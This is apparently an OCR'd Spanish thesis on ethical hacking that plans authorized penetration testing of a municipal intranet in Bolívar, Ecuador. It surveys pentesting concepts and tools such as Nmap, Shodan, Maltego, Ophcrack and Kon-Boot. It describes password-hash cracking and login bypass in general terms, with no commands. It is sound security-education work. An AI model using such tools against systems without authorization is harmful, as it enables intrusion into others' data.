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RESUMEN

El hacking ético es una técnica utilizada para identificar y reportar debilidades en los sistemas
de una organizacion su objetivo es mejorar la S.I (Seguridad Informatica). En la intranet de un
municipio, como el del cantdn Bolivar, el hacking ético puede ser una forma efectiva de detectar
posibles brechas de seguridad en los servicios en linea que se ofrecen a la comunidad como
también toda la informacién que maneja en sus ordenadores.

En este trabajo se busca realizar pruebas de penetracion en la intranet del municipio con la
finalidad de identificar posibles debilidades y reportarlas a el area de TIC para que puedan ser
corregidas. Este proceso solo debe ser realizado con el conocimiento y autorizacion de la
organizacion.

El hacking ético es un instrumento valioso para garantizar la seguridad en la intranet del
municipio del canton Bolivar. Al identificar y corregir las vulnerabilidades, se protege la
privacidad y los datos sensibles de los usuarios, y se evitan posibles ataques o intrusiones
malintencionadas. Es importante destacar que el hacking sin autorizacion es ilegal y puede tener
graves consecuencias legales.

Palabras Claves: Hacking, S.I, Infrusiones
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ABSTRACT

Ethical hacking is a technique used to identify and report weaknesses in an organization's
systems, with the goal of improving cybersecurity. In the intranet of a municipality, such as that
of the Bolivar Canton, ethical hacking can be an effective way to detect potential security
breaches in the online services offered to the community, as well as all the information stored
on their computers.

In this work, penetration testing is being conducted on the municipality's intranet in order to
identify possible weaknesses and report them to the IT department so that they can be corrected.
This process should only be carried out with the knowledge and authorization of the
organization.

Ethical hacking is a valuable tool for ensuring the security of the intranet of the Bolivar Canton
municipality. By identifying and correcting vulnerabilities, the privacy and sensitive data of
users are protected, and potential malicious attacks or intrusions are avoided. It is important to
note that unauthorized hacking is illegal and can have serious legal consequences.

Keywords: Hacking, Intrusions
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INTRODUCCION

La seguridad informatica es un aspecto critico para los municipios en la era digital actual, ya
que muchos de ellos ofrecen servicios en linea a la comunidad. Los servicios en linea brindan
acceso a una gran cantidad de informacion y datos sensibles, como registros de impuestos,
permisos Yy licencias, entre otros. Por lo tanto, es esencial garantizar que estos servicios se
encuentren protegidos contra posibles ataques o intrusiones malintencionadas.

La seguridad informatica implica una serie de medidas y practicas para proteger los sistemas y
servicios de una organizacion, como la implementacion de firewalls, la encriptacion de datos y
la educacion sobre seguridad para los empleados. Ademas, los municipios deben estar al tanto
de las amenazas mas recientes y actualizar sus sistemas y medidas de seguridad en
consecuencia.

En un mundo cada vez més digital, la seguridad informética es vital para garantizar la confianza
de la comunidad del canton Bolivar. Al proteger los datos sensibles y la privacidad de los
usuarios, se evitan posibles ataques o intrusiones malintencionadas y se mejora la eficiencia y
efectividad de los servicios en linea.

Mediante la aplicacién de técnicas de hacking, se pueden descubrir y comunicar debilidades en
los sistemas y servicios de un entorno corporativo, con la finalidad de reforzar la proteccién de
la seguridad informatica. En municipios, el hacking ético puede ser una herramienta valiosa
para detectar posibles brechas de seguridad en los servicios en linea que se ofrecen a la
comunidad.

El hacking ético es una forma de identificar y corregir posibles vulnerabilidades en la seguridad
informatica de los municipios. En el presente trabajo se busca realizar pruebas de penetracion
en los ordenadores del municipio y reportar vulnerabilidades para que puedan ser corregidas.
El hacking ético no solo ayuda a identificar y corregir posibles vulnerabilidades, sino que
también permite a los municipios mejorar sus servicios en linea y ofrecer una experiencia mas

segura y confiable a los usuarios
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I. EL PROBLEMA
1.1. PLANTEAMIENTO DEL PROBLEMA

La seguridad informética a nivel mundial es importante tanto para empresas, entidades
financieras, municipios o sitios donde se maneja mucha informacion y dinero, conforme pasan
los afios van apareciendo o mejorando nuevas amenazas tecnoldgicas que pueden poner en
riesgo los datos e informacion.

En el Ecuador segin un estudio de la BBc se ha filtrado informacion de millones de
ecuatorianos perteneciente a la empresa Novaestrat en Miami, que contiene datos delicados de
personas como lo es cedulas de identidad, lugar de residencia, educacion, trabajo y cuentas de
afiliados al Banco del IESS (Silva, 2019).

La mayoria de los ataques son de malware, Ecuador ocupa el puesto 119 entre 182 paises en
cuanto a vulnerabilidad a ciberataques, segun el tltimo indice Global de Seguridad Cibernética.
El Banco Pichincha sufrié un ataque cibernético en octubre del 2021, que interrumpio sus
operaciones, lo que provocé la interrupcién de sus cajeros automaticos y su portal de banca en
linea. El ataque de ese afio es considerado uno de los mas grandes del mundo.

Esta es la segunda vez que el banco es atacado en algunos meses: el banco fue victima de
otro ataque cibernético en febrero que también afectd al Ministerio de Hacienda de Ecuador,
segun la pagina de noticias Welivecurity de la empresa de seguridad en Internet ESET.

En Ecuador, la Corporacion Nacional de Telecomunicaciones (CNT). En 2021, fue atacado por
un ransomware gue secuestro los sistemas con informacion delicada.

Los gobiernos locales o instituciones publicas y privadas disponen de intranets para compartir
informacién, ha ido en incremento la cifra de vulneracién informatica por parte de crackers
a usuarios de Internet.

El municipio del canton Bolivar se encuentra una intranet con sus servicios los cuales no han
sido evaluados con ninguna técnica 0 método de “hacking ético” para detectar vulnerabilidades,
asi que no se ha identificado a que podria estar vulnerable.

Esto pone en riesgo al municipio junto con toda la informacion que maneja, misma que puede
ser modificada u alterada o en su peor caso robada y eliminada, como este es el corazén de
cualquier negocio u organizacion.

En el afio 2019 el GAD municipal de Bolivar recibi6 un atague con un virus ransomware que
cifro datos del servidor del municipio y produjo perdidas de informacion y tiempo de trabajo
para la recuperacion de estos datos (Villarruel, 2021).
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1.2. FORMULACION DEL PROBLEMA

Las pocas pruebas de pentesting realizadas por el departamento de sistemas ocasiona que el

municipio de Bolivar este vulnerable a ataques informaticos

1.3. JUSTIFICACION

El surgimiento del hacking ético se debi6 a la necesidad de combatir a los delincuentes
informaticos, pero con el tiempo se ha convertido en un escudo valioso para reforzar la
seguridad informatica de los ordenadores y sistemas informaticos, los entornos corporativos
contratan a estos profesionales para demostrar la seguridad de sus equipos y asi reducir
vulnerabilidades.

Los Gobiernos Autonomos Descentralizados o entidades publicas necesitan proteger su
informacidn, tener los datos de sus habitantes de manera confidencial y segura. Los servidores
que estan vulnerables a un ataque pueden provocar la inestabilidad en servicios que se estén
ejecutando en estos equipos.

Estos contienen informacion que es delicada y que pertenece a todos los habitantes del cantén
Bolivar. Segun un previo analisis de las instalaciones se pudo observar que el GAD municipal
del canton Bolivar posee una intranet, en la cual esté dos servidores fisicos y un servidor clon
que brindan servicios, los cuales se pueden analizar y evaluar sus vulnerabilidades, debido a
que la informacion es delicada, es importante realizar pruebas de pentesting.

Esto dara a conocer las vulnerabilidades presentes en el departamento de Tics y asi tener los
riesgos identificados.

Es por todo esto que el servidor del GAD municipal de Bolivar debe estar configurado, de
acuerdo con los estandares y recomendaciones de seguridad, para cuando la ciudadania requiera
su informacidn, esta sea integra.

Cabe resaltar, que este proceso de evaluacion de vulnerabilidades se realizara dentro de las
instalaciones del municipio (ambiente real) y no en un ambiente de pruebas, esto realza el
trabajo de titulacion. Se implementard hacking ético especificamente al servidor del GAD
municipal de Bolivar con el fin de determinar el nivel de debilidades informaticas.

La aplicacion de pasos de seguridad informatica y de herramientas de vulneracion como lo es
Nessus, Nmap que incorpora el sistema operativo Kali-Linux las cuales son libres y gratuitas
permiten identificar puertos abiertos y la seguridad del servidor del GAD municipal de Bolivar,

de tal manera que se mejore los controles de proteccion
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1.4. OBJETIVOS Y PREGUNTAS DE INVESTIGACION

1.4.1. Objetivo General

Evaluar con hacking ético vulnerabilidades en la intranet del municipio del canton Bolivar

1.4.2. Objetivos Especificos

1.

Seleccionar la fundamentacion tedrica relacionada con las herramientas, la metodologia
y fases del hacking ético.

Diagnosticar el estado actual de la seguridad informética del GAD municipal del
canton Bolivar

Aplicar herramientas de pentesting, determinando los riesgos.

Entregar manuales y un reporte de seguridad informatica para el GAD municipal de

Bolivar

1.4.3. Preguntas de Investigacion

¢La recopilacién de informacion bibliograficamente de las herramientas de hacking

ético es de gran ayuda para una buena sustentacion tedrica de la investigacion?

¢El Diagnostico del estado actual de la seguridad de datos del GAD municipal de

Bolivar dara un resultado de como se encuentra su nivel de seguridad?

¢La Aplicacién de herramientas de pentesting, determinara los riesgos a los que esta

expuesto el GAD municipal de Bolivar?

¢Entregar manuales y un reporte de seguridad con la ayuda de la metodologia
Offensive Security para el GAD municipal de Bolivar permitird tomar decisiones en

cuanto a mejora de la seguridad informatica?
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Il. FUNDAMENTACION TEORICA
2.1. ANTECEDENTES DE LA INVESTIGACION

Aqui estan las bases bibliogréaficas que guardan estrecha relacién con el tema planteado, las
cuales aportan a la sustentacion de la presente investigacion. Se documento 6 antecedentes que
sirven para reforzar las variables de estudio, trabajos que fueron consultados de repositorios

digitales de Universidades y de articulos cientificos.

En la universidad de las Américas (Afazco & Ortiz, 2018) elaboraron una tesis acerca de
“Analisis de Vulnerabilidades en el portal web de una institucion de educacion superior del
Ecuador”. Cuyo objetivo general tiene el disefio de una propuesta para aminorar atagques
informaticos en la infraestructura de un portal web.

De esta investigacion en base a los antecedentes se menciona que el cibercrimen es una
intranquilidad creciente en donde las empresas buscan formas de controlar y hacer detener los
ataques informaticos. Las paginas web de instituciones son de vital importancia para la atencion
del pablico en general por lo que testear la vulnerabilidad y corregir errores da seguridad a los
datos e informacion importante. En esta investigacion se usa la metodologia OWASP vy las
recomendaciones de NIST que sirve para respuesta de incidentes informaticos.

La investigacion permitira tener definidos los conceptos de vulnerabilidades informaticas, los
ataques a los que se expone una pagina web, asi como también las consecuencias de estos.

Al termino de esta tesis se obtuvo como resultado que:

Es necesario un sistema de intrusién esto debido a que un firewall y un antivirus no son
suficientes para una defensa activa ante ataques informaticos.

Se recomienda mantener la ética con la entidad debido a que toda la informacion que se

encuentre no debe ser utilizada para fines delictivos.

En la Universidad Estatal Del Sur De Manabi, se presentd una tesis, donde se expuso lo
siguiente: Tema: “Aplicacion de hacking ético para la determinacion de amenazas, riesgos y
vulnerabilidades en la red de la universidad estatal del sur de Manabi” expuesto por la estudiante
(Briones, 2020).

En este trabajo se presenta como problema la existencia de debilidades en las redes, lo que

produce perdida de datos, se analiza que el personal administrativo tiene una mala capacitacion
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en seguridad informatica lo cual también es un problema ya que no estan preparados en caso de
un ataque informatico.

Parte fundamental de esta investigacion es donde se establecen las herramientas de hacking
ético parte donde se rescatan las que mas se acoplen al proyecto de investigacion, asi como
también se sustrajo conceptos del marco tedrico.

Se llegé a la conclusion que dos herramientas fueron las mas efectivas para vulnerar la
seguridad de la Universidad. Llega a recomendaciones que al final de esta investigacion se
compararan con la presente tesis, uno de ellos es el de realizar periddicamente testeos de red

con diferentes herramientas.

En la universidad Piloto de Colombia se presenté un trabajo de grado donde se rescatd lo
siguiente: Tema: Hacking Etico, una herramienta para la seguridad informatica expuesto por
(Medina, 2021).
En esta investigacion se aplica el proceso del hacking ético con todas sus etapas, lo primero es
el alcance de la prueba, una vez tengamos la autorizacion se prosigue a
1. Escoger los sistemas a vulnerar
Evaluar el Riesgo
Fechas, Horas y tiempo de las pruebas

2

3

4. Comprension del sistema antes de iniciar la prueba

5. Acciones para tomar cuando ya se descubren las vulnerabilidades
6

Establecer las acciones que terminan las pruebas

Para tener éxito en el hacking ético se debe tener todo enumerado y en orden, hacer un
reconocimiento pasivo, este méetodo recolecta la informacion de una manera silenciosa y por
ultimo escoger una estrategia que mejor se acople al entorno. Conforme avanza la tecnologia
las vulnerabilidades en los sistemas informaticos crecen y por ende mas personas maliciosas

podrian atacarlas.

En la revista Cubana de Informatica Medica se detalld lo siguiente: Tema: Herramientas
fundamentales para el hacking ético presentado por (Rodriguez, 2020).

El estudio menciona que los expertos en seguridad informatica en Cuba no saben mucho sobre
herramientas basicas de hacking ético. Su proposito es analizar las diversas herramientas
disponibles en los sistemas Linux para esto requieren un amplio conocimiento de seguridad

hacking, programacion, metodologia y documentacion.
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Se emplean herramientas como:

Nmap es un software open source que admite escanear redes de cualquier tamafio en un periodo
de tiempo corto. Es el software mas utilizado mundialmente para escanear puertos.

OpenVas: Esta un software open source que incluye servicios y herramientas para evaluar
vulnerabilidades y que se puede utilizar de manera independiente.

Nuestro Cerebro: es otra herramienta fundamental para un especialista en seguridad
informatica. Existen dos tipos de Hackers los que miran tutoriales y lo aplican en la vida real y
los que interpretan y emplean su cerebro para brindar un informe completo para proteger su
informacion. Entre otras herramientas se llega a la conclusion de que los especialistas de
seguridad informética deben dominar estos aplicativos dentro de sus redes y asi mitigar

vulneraciones en las empresas.

En la Universidad Estatal de Manabi. Se presenté el trabajo de titulacién donde se expuso lo
siguiente: Tema: “Aplicacion de hacking ético para mejorar la seguridad en la red de los equipos
informaticos en la UPOCAM” presentada por Chilan (2022).

Esta investigacion tiene como proposito emplear el hacking de forma ética para el
perfeccionamiento de la seguridad en equipos de una empresa y asi mitigar las vulnerabilidades
haciendo uso de aplicaciones de software libre. La ejecucion de herramientas ayuda a alertar al
jefe de sistemas de posibles ataques, dando asi soluciones para cuidar la informacién de la
institucion para que asi sea transmitida de manera segura y transparente. En la propuesta se
seleccionan tres etapas fundamentales de hacking ético.

Figura 1: Etapas de hacking ético

-wr ETAPA ] ETAPA 2 . ETAPA 3
Seleccionar las Realizar prucbas de Definir la norma
herramientas de instruccidn de IS0 27002 de

hacking ético bajo hacking ético. seguridad de la
software libre. informacion en base

alas
vulnerabihdades.

Fuente: Etapas de Hacking Etico [Fotografia], por Saha, 2018
Después de implementar las etapas y herramientas de hacking ético se identificaron
vulnerabilidades, riesgos y amenazas. Se tomaron acciones de seguridad para asegurar la

salvaguarda de la informacion.
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Recomienda realizar un testeo periédicamente en la red para descubrir multiples anomalias en
los equipos informaticos del Upocam. Otra recomendacién importante es capacitar al personal

técnico encargado del mantenimiento para asi estar alerta a cualquier ataque y vulneracion.

En la Universidad Técnica de Ambato se expuso el proyecto de tesis previo a la obtencion del
titulo de Ingeniero en Sistemas, en el cual se presenta lo siguiente: Tema: “Hacking ético para
analizar y evaluar la seguridad informatica en la infraestructura de la empresa plasticaucho
industrial S.A” exhibido por (Rojas Buenafio, 2018).

En 2016 se levant6 una auditoria interna donde se observo que no existe auditorias de hacking
ético por lo que se proponen medidas de seguridad para proteger a la empresa. Se presenta la
metodologia y las herramientas con las que va a ser atacada esta empresa.

En la empresa con la implementacién del hacking se encontraron debilidades en equipos con
Linux ya que no cuentan con credenciales de acceso. Como recomendacion se sugiere revisar
las configuraciones de ingreso a la red. De igual manera se sugiere realizar un hacking ético de
manera periddica dado que identifica posibles vulnerabilidades para asi corregirlas por expertos

en el tema.

2.2. MARCO TEORICO

2.2.2 Seguridad informdtica

Esta es quien intenta resguardar los datos, el almacenamiento, proceso y traspaso de
informacion digital. Protege los equipos informéticos, asi como la comunicacion entre estos.
Ejemplo, él envi6 de un mensaje al servidor con conexién cifrada (Romero Castro, y otros,
2018).

Figura 2: Triangulo de la S.1

Confidencialidad

Seguridad
de la informacion

Integridad Disponibilidad

Fuente: Adaptado de PreAmbulo a la seguridad informética [Fotografia], por Mifsud, 2017
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2.2.2.1 Confidencialidad

Es la necesidad de ocultar determinada informacion para prevenir su difusion no

autorizada, dicha informacidn no esta disponible por varias razones.

En seguridad de la informacién, este principio asegura que sélo el personal acreditado tenga
acceso a la informacién. Dicho permiso se basa en la necesidad de conocer informacion sobre
su desempefio laboral o actividades cotidianas. (Calderon, 2019).

2.2.2.3 Integridad

Consiste en asegurarse de que la informacion no sea extraviada, eliminada o comprometida, el
mal uso de la informacién puede conducir a la pérdida masiva de informacion. (Calderon,
2019).

2.2.2.2 Disponibilidad

Para que la informacién y los datos sean Utiles y valiosos estos deben estar disponibles. Por
ejemplo, en un ataque DDos puede dejar indtil determinados servicios que brinde el servidor
(Calderon, 2019).

2.2.3 Hacking Etico

Se describe como una inspeccion realizada hackers o por expertos de seguridad de la
informacion conocidos como "pentesters”. Es una medida preventiva, llamada prueba de
penetracion, y se describe basicamente como el "arte” de probar técnicas de vulneracién a una
organizacion en busca de agujeros de seguridad y luego de detectar las vulnerabilidades de
seguridad que se descubren, informarlas y detenerlas si es posible, para evitar la fuga de
informacion y los ataques informaticos (Valencia, 2018).

Basicamente es la accion de adelantarse a ataques informaticos usando el conocimiento y los
instrumentos de software y hardware, con los que se realizara vulneraciones que luego seran
analizadas y enviadas para reportar los ataques que tengan los equipos y asi prevenir

vulneracion real.

2.2.4 Hacker ético

Un Hacker ético es un profesional contratado por empresas e instituciones, que tiene como labor
la busqueda de vulnerabilidades en los sistemas de informaticos para, asi, poder solucionarlos.
Ultimamente han surgido nuevos métodos de hacking los cuales amenazan la seguridad de los
datos, por lo que Instituciones y organizaciones practican el hacking ético, aunque no es facil
argumentar en contra de la idea de que tal actividad es inofensiva. Un hacker ético para el
analisis de seguridad requiere de varias horas e incluso dias de labor, ya que el horario de trabajo
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debe ser horas inusuales u fuera de la jornada de trabajo de la empresa o institucién, esto para
evitar interferencia en la actividad y para la simulacién de ataques en horas inesperadas.

Las pruebas para realizar en el GAD municipal de Bolivar seran de caracter ético y sin ninguna
intencion de causar ningun dafio presente o futuro al municipio.

2.2.5 Cracker

Los piratas informaticos son considerados "criminales virtuales”. Utilizan su sabiduria para
entrar en sistemas, desencriptar contrasefias de programas y algoritmos de cifrado para ejecutar
juegos sin disco, generar claves de registro de programas falsas, robar datos privados o cometer
otros delitos informaticos.

Se debe ser cuidadosos a la hora de manipular la informacion que almacenamos en nuestro
ordenador y protegerla adecuadamente con un buen sistema de seguridad. (Ruiz, 2020).
Cracker es un término utilizado para definir a los programadores maliciosos y ciberdelincuentes
que tienen como objetivo dafar los sistemas de red de forma ilegal o imprudente. El término
fue acufiado por piratas informaticos en 1985 para proteger el uso del término por parte de los
medios. (Ruiz, 2020).

2.2.6 Pentesting

Es una vulneracion supuesta y debidamente acreditada a un sistema de informacidn con la meta
de valorar su seguridad. En las pruebas, los atacantes identifican y explotan las vulnerabilidades
encontradas en el sistema con fines maliciosos. Esto permite a los evaluadores de penetracion
realizar una evaluacién de riesgos comerciales del cliente y proponer un plan de accion
correctivo basado en los resultados de la prueba. (Guillen, 2017).

Es el método primordial més utilizado para determinar las debilidades de entornos de redes,
aplicaciones web que estas sean conocidas y puedan solucionarse antes de que se explote en un
ataque real informatico.

Las pruebas de penetracion abarcan diferentes areas como son: redes internas y hosts
conectados a internet, aplicaciones web, cortafuegos, redes inaldmbricas y dispositivos de red
(Molina & Orozco, 2018).
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Fuente: Adaptado Pruebas de hacking seguridad informatica [Imagen], por Ramirez, 2018
2.2.7. Tipos de prueba de penetracion
Una empresa puede ser vulnerada desde afuera o desde adentro de distintos niveles, las pruebas
de penetracion se clasifican en las llamadas “cajas™ , para el proyecto se empleara la caja gris.
2.2.7.1. Caja Negra
Es un ataque del exterior, en esta prueba el cliente no daré ninguna informacion, datos ni acceso
interno. Es la vulneracion mas dificil, costosa y tardada (Gutierrez, 2019).
2.2.7.2. Caja Gris
Esta da determinada informacién y nivel de acceso interno a la organizacién, Esto permite que
las vulneraciones sean mas sencillas, aqui se toma el enfoque de un empleado o funcionario. Es
la mas comun, y es efectivo para optimizar la seguridad empresarial de una empresa.
2.2.7.3 Caja Blanca
En esta Ultima se brinda la mayor parte de informacién de lo que se va a auditar, es dirigida a
funciones internas y lo realiza el personal interno si es que no se tiene un experto en el area.

Figura 3: Tipos de cajas

- a\

Caja blanca Caja gris Caja negra

Acceso total Acceso parcial Acceso nulo
\ a la informacion / a la informacion a la informacién

Fuente: Preguntas de ciberseguridad y respuesta [Imagen], por Mifsud, 2021

2.2.8 Identificacién de vulnerabilidades
Hay varias técnicas para identificar vulnerabilidades informaticas, aqui mencionaré algunas de

las mas comunes:

28



e Escaneo de vulnerabilidades: Se utiliza un software especializado para escanear el
sistema o la aplicacion en busca de posibles vulnerabilidades conocidas.

e Andlisis de cddigo: Revisar manualmente el cddigo fuente para detectar posibles
debilidades y corregirlas antes de que sean explotadas por un atacante.

e Pruebas de penetracion: Se simula un ataque malintencionado para identificar las
vulnerabilidades existentes.

e Reuvision de la S.I: Se realiza una exploracion exhaustiva de los procesos y politicas de
seguridad para identificar posibles debilidades.

Es importante destacar que la identificacion de vulnerabilidades es solo el primer paso en la
gestién de la seguridad informética. Una vez que se han identificado, es necesario tomar
medidas para corregirlas y mitigar los riesgos asociados. (Ambit, 2020).

2.2.9. Vulnerabilidades fisicas

2.2.9.1. Seguridad perimetral

Se refiere a un conjunto integrado de elementos (informaticos, electrénicos y mecanicos)
utilizados para asegurar el perimetro y detectar intrusos fisicos. Destaca para uso en industria,
sedes corporativas, municipios, viviendas lujosas, etc. (Pacheco & Jara, 2019).

2.2.9.2 Acceso a las instalaciones

Un correcto control a los accesos a instalaciones de una empresa determina en medida la
proteccion de los activos, por lo que debe vigilar y protegerse desde el perimetro externo hasta
el interno (Pacheco & Jara, 2019).

2.2.10. Ingenieria Social

La ingenieria social son artimafias que emplean los ciberdelincuentes para mentir y manipular
a usuarios inocentes a cambio de recibir datos confidenciales e importantes, infecten sus
equipos con virus maliciosos o abran enlaces a paginas web infectados. Estos cibercriminales
se valen de la falta de comprensién de las personas. Este concepto se lo utiliza para comprender
como actlan los ciberdelincuentes. (Kapersky, 2022).

2.2.11. Herramientas de vulneracion con software

2.2.12. Recopilacion de informacién

En el hacking ético, la recoleccion de informacion es una fase crucial del proceso de pruebas
de penetracion (penetration testing), que consiste en recopilar informacion sobre un objetivo
(como un sistema, una red, una aplicacion web, etc.) antes de intentar encontrar

vulnerabilidades o realizar ataques.
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El objetivo de la recopilacion de informacion es obtener una comprension méas profunda del
objetivo y su entorno, y reunir informacion que pueda ser Gtil para identificar vulnerabilidades
0 puntos débiles en el sistema. Se incluyen:

¢ Informacion sobre el sistema operativo y las aplicaciones utilizadas en el objetivo

e Informacion sobre las direcciones IP.

e Informacion sobre los puertos abiertos.

e Informacion sobre las politicas de seguridad y las medidas de proteccién implementadas

e Informacion sobre el personal.
2.2.13. DNSDumpster
DNSDumpster es una aplicacion en linea utilizada para realizar pruebas de enumeracion de
subdominios y para analizar los (DNS) de un dominio en particular.
La herramienta DNSDumpster utiliza técnicas de busqueda en la red para descubrir
subdominios y nombres de host asociados con un dominio especifico, lo que puede ser til en
la identificacion de posibles puntos de entrada para los atacantes en una red.
DNSDumpster es gratis, y su interfaz web es facil de usar permite a los usuarios realizar
busquedas en el DNS de un dominio para identificar subdominios, direcciones IP y otros datos
relevantes. Ademas, DNSDumpster también ofrece otras funciones, como la visualizacion de
registros DNS para un dominio, la identificacion de servidores de correo electronico y la
realizacion de pruebas de resolucion inversa de DNS.
DNSDumpster es una herramienta popular entre los profesionales de seguridad y los hackers
éticos para realizar pentesting en los sistemas de una organizacion con el fin de descubrir y
corregir vulnerabilidades.
2.2.14. Domain Dossier
Domain Dossier es un software online que permite a los usuarios obtener informacién detallada
sobre un dominio especifico. Esta herramienta es ofrecida por la organizacion de seguridad en
Internet, DomainTools.
Domain Dossier ofrece una amplia variedad de informacion sobre un dominio, incluyendo la
direccion IP asociada con el dominio y otros datos relevantes.
Ademas, Domain Dossier también permite a los usuarios realizar pruebas de resolucion inversa
de DNS para identificar los dominios que comparten la misma direccion IP, lo que puede ser
util para identificar otros sitios web alojados en el mismo servidor.
La herramienta Domain Dossier es gratuita y no requiere registro para su uso. Es un software

atil para administrar sistemas, los hackers éticos la emplean para obtener informacion sobre un
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dominio especifico y para identificar posibles vulnerabilidades en los sistemas y redes de una
organizacion.

Figura 4: Domain Doosier
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Fuente: Domain Dossier Investigate [Imagen], por Mills, 2020

2.2.14. Maltego

Maltego es una herramienta de investigacion de seguridad cibernética desarrollada por Paterva.
Es un software de analisis de informacién, en el proyecto permitié recopilar y analizar
informacion relacionada con entidades y relaciones en la web.

Maltego utiliza una técnica Ilamada "enriquecimiento de entidades" para identificar esquemas
y relaciones en grandes cantidades de datos. El software permite a los analistas visualizar estos
patrones y relaciones en forma de graficos y mapas interactivos.

Ademas, Malteo integra una extensa complejidad de fuentes de informacion, incluyendo redes
sociales, y otras fuentes en linea. Esto permite a los usuarios recopilar informacion de diferentes
fuentes y ver como se relacionan entre si.

Figura 5: Maltego

MALTEG®

Fuente: ;Qué es maltego? [Imagen], por Roosevelt, 2020
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2.2.15. Shodan

Es un motor de exploracion que indexa informacion sobre ordenadores conectados a Internet,
como servidores, routers, camaras de seguridad, dispositivos de almacenamiento, sistemas de
control industrial y otros dispositivos.

Shodan es utilizado por investigadores de seguridad, profesionales de seguridad de la
informacidn y hackers éticos para descubrir vulnerabilidades en dispositivos y redes conectados
a Internet. También se utiliza para identificar dispositivos expuestos y mal configurados que
podrian ser vulnerables a ataques.

Ademaés de la busqueda de dispositivos, Shodan también ofrece una variedad de herramientas
y servicios para analizar y comprender la informacion de los dispositivos. Por ejemplo, los
usuarios pueden usar Shodan para buscar dispositivos especificos por tipo, marca o modelo, o
para identificar dispositivos vulnerables a través de la busqueda de ciertas cadenas de texto o
de la exploracion de puertos abiertos.

Figura 6: Shodan

SHODAN

Fuente: ;Qué es shodan? [Imagen], por Ramirez, 2021

2.2.16. Ophcrack

Es un proyecto Open Source cuyo objetivo es brindar a la comunidad una herramienta para
descifrar los hashes de autenticacién de un equipo con Windows. Tiene una interfaz amigable
e intuitiva, realiza su objetivo muy eficiente. Es la aplicacion mas utilizada en seguridad
informatica y auditoria de contrasefias. Se encuentra disponible en presentaciones como Live
CD y como instalador.

Figura 7: Ophcrack
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LiveCD

@ OBJECTIF SECUFIITE Ophcrack Graphic mode — manual

Ophcrack Graphic mode — low RAM
Ophcrack Text mode

ol tcld

Fuente: ;Qué es Ophcrack? [Imagen], por Rodriguez, 2018

2.2.17. Konboot

Es una herramienta muy popular por el facil uso y efectividad que tiene, Konboot permite
sobrepasar en tiempo real la seguridad que establecen los sistemas por medio de autenticacion.
Koonboot necesariamente necesita ejecutarse desde un USB o CD de arranque, la aplicacion
establece un puente entre su cddigo y el sistema local, esto parcha temporalmente en memoria
RAM archivos que hacen uso de las credenciales de las credenciales, el sistema hace omision
de sus propias contrasefias y no las solicita al dar inicio

Figura 8: Kon-Boot

by Piotr Bania
wia. kryptoslogic.com

Ron-Boot ver. 1.8 ready?! h4x8Rin uH?

Checking SMAP Blﬂé entries ...
BIDS seems to be OK.
Booting up!? EOT

Fuente: Hacking y Seguridad en Internet [Imagen], por Garcia, 2017

33



2.2.18. Spyware
Un spyware es un programa maligno que se mantiene oculto mientras registra informacién
secretamente, esta disefiado para estar corriendo en secreto y en segundo plano, el cual es el
atributo mas dafiino, es utilizado por ciberdelincuentes para recabar datos e informacion.
(Seguin, 2020)
Una vez esté en el equipo lleva a cabo una amplia cantidad de operaciones encubiertas tales
como:

e Un Keylogger

e Grabacion de audio y video

e Capturar y registrar el historial de navegacion

2.2.19. Keylogger

Un Keylogger es una herramienta para el control de TI, se emplea tanto para hacking ético
como para fines delictivos. Es un spyware malicioso para la captura de informacién
confidencial como contrasefias de cuentas personales o empresariales, se remite a terceros para
su utilizacion con fines maliciosos, Su funcionamiento se basa en la captura de todo lo que se
escribe en el teclado, esta informacion es registrada en un archivo de texto o se envia correos
electronicos de manera directa.

Los keyloogers suelen ser dificiles de detectar ya que una vez se inicia la aplicacién corre en
segundo plano siendo la Gnica manera de detectarlo el abrir el administrador de tareas, ubicarlo
y detenerlo. Para la proteccion de este software malicioso es importante tener instalado un buen
producto de antispyware y mantener el sistema operativo actualizado (Instituto Politecnico
Nacional, 2017).

Figura 9: Keylogger

Fuente: Adaptado de Predmbulo a la seguridad informatica [Imagen], por Mifsud, 2016
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2.2.20. Criptografia

Es una ciencia que se encarga en el disefio de funciones o dispositivos capaces de transformar
mensajes comprensibles a mensajes cifrados, esta herramienta da seguridad informatica,
garantiza los pilares de la S.1, proviene de un linaje de las matematicas llamada “teoria de la
informacion”. Este concepto ayuda a entender parte de la funcion de un ransomware el cual es
aplicado en este proyecto.

Figura 10: Origen de la criptografia
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Fuente: Adaptado de PreAmbulo a la seguridad informética [Imagen], por Mifsud, 2016
2.2.21. Distribucién Linux
Las distribuciones Linux también son conocidas como distro Linux, es una adaptacion retocada
del sistema original. Estas distribuciones son mantenidas por comparfiias 0 asociaciones de
usuarios, su mision es mejorar el Kernel y las apps que se ejecuta en el sistema operativo para
un grupo selecto de personas (Pascual, 2017).
Estas distribuciones incluyen herramientas especiales para administracion del sistema. Algunas
distribuciones estan disefiadas para entornos de escritorio que requieren facilidad de uso.

Figura 11: Linux

) Linux

!

Fuente: Conozcamos un poco mas Linux Conceptos bésicos [Imagen], por Alonso, 2018
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2.2.22. Kali Linux

Es un Sistema operativo procedente de las distribuciones Linux, es utilizado por informaticos
0 personas interesadas en ciberseguridad y auditorias informaticas, el mantenimiento es por
parte de la empresa Offensive Security Ltd.

Kali Linux es la version mejorada del sistema conocido como backtrack, brinda méas de 600
herramientas tales como Nmap o Aircrack-ng, se puede usar a partir un live cd, usb live o
también como un sistema operativo instalado al disco duro

estar destinado a usos tipicamente asociados con el crimen en linea, la herramienta se desarrolld
originalmente con fines forenses y su éxito ha llevado a su proliferacion, que eventualmente se
convertird en una herramienta analitica importante en el mercado de seguridad de cddigo
abierto.

La existencia del cddigo abierto sirve para afiadir mas aplicaciones de la misma naturaleza
licenciataria a la distribucion, enriqueciendo cada dia su alcance y usabilidad. Es una utilidad
comercial completa que le permite hacer de todo, desde escanear una red para identificar hosts
en ella, hasta explotar vulnerabilidades como lo demuestra una de sus herramientas de escaneo.

Figura 12: Kali Linux

(AL

BY OFFENSIV ECUF

Fuente: Adaptado de Lanzamientos Kali Linux 2022.1: [Imagen], por Jiménez, 2022
2.2.23. Parrot OS
Parrot OS, el sistema insignia de Parrot Security, esta trazada teniendo en cuenta la seguridad
y la privacidad. Contiene un completo laboratorio portétil para todo tipo de operaciones de
ciberseguridad, desde pruebas de penetracién hasta analisis forense digital e ingenieria inversa,
pero también incluye todo lo necesario para desarrollar su propio software o proteger datos
(Faletra, s.f.).
Figura 13: Parrot OS
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Fuente: Adaptado de VIRTUALIZACION CON VIRTUALBOX [Imagen], por Hernandez, 2022
Tabla 1. Comparativa Sistemas Operativos

Caracteristica Kali Linux Parrot OS

